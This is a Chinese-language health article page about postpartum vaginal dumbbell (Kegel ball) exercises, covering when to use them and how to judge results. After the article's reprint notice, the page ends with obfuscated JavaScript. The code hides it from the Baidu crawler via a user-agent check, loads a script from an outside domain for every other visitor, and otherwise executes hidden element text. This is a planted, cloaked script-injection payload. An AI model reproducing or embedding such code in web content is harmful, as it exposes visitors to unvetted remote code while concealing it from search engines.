當前位置:首頁 > 健康 > 運動健身 > 正文

陰道啞鈴的鍛煉方法有哪些呢

2017-04-16 13:21:38  來源:360常識網   熱度:
導語:許多剛剛生完孩子的女性,因為生完孩子后陰道會松弛,如何縮陰成了一個比較尷尬的問題,因為陰道比較小,加上陰道在在私密部位,因為面子上

許多剛剛生完孩子的女性,因為生完孩子后陰道會松弛,如何縮陰成了一個比較尷尬的問題,因為陰道比較小,加上陰道在在私密部位,因為面子上過不去,不想去醫(yī)院,可是經常因為陰道松弛引起失禁,想讓陰道變得強壯有力,可以通過陰道啞鈴的方式鍛煉,那么陰道啞鈴的鍛煉方法有哪些呢?

1. 女性在什么情況下可以判斷自己是否需要用陰道啞鈴(或曰縮陰球,聰明球)鍛煉?

當出現(xiàn)壓力性尿失禁時(咳嗽、打噴嚏、跑步等的情況下有少許尿液流出,也就是說腹壓增加時夾不住尿了),當然是鍛煉的指征。具有陰道分娩歷史而丈夫總抱怨你陰道寬松而自己也感覺不好時。

另外就是產后的康復訓練是必需要進行的,不論是否經陰道分娩。產前一般不需要特別地使用陰道啞鈴做專項PC肌訓練,不過產前也可以適當做一些保健操之類的活動,有助于加強分娩過程中所需要的肌肉力量。

產后康復則很重要,出院前就可以做簡單收縮肛門的運動。等產后42天復查醫(yī)生允許后或惡露干凈后方可以進行陰道啞鈴鍛煉。

如果女性具有高潮困難現(xiàn)象或性高潮障礙時更是需要鍛煉PC肌,一是增強盆底肌的強度,二是學會正確地使用這些肌肉,以便在性活動過程中靈活地控制其舒張或收縮的狀態(tài),促進高潮的到來。

2. 如何衡量傳統(tǒng)陰道啞鈴縮陰球的鍛煉效果?

一般來說,短時間內自己很難判定鍛煉的效果。

除非有尿失禁這樣的問題可以自己見到明顯效果,否則要靠丈夫的感覺和自己性活動感受不斷增強來判斷。在醫(yī)院里則可以進行訓練前后客觀的盆底肌肉力量變化的檢查。

這一套陰道啞鈴的鍛煉方法可能大部分人并沒有停止,不過效果是很好的,陰道松弛會引起小便失禁,性生活障礙,夫妻生活之間引起尷尬,這時候我們可以使用陰道啞鈴的鍛煉方法來提高自己的陰道及密度,解決尿失禁這樣的問題,同時可以增加夫妻之間的性生活關系。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}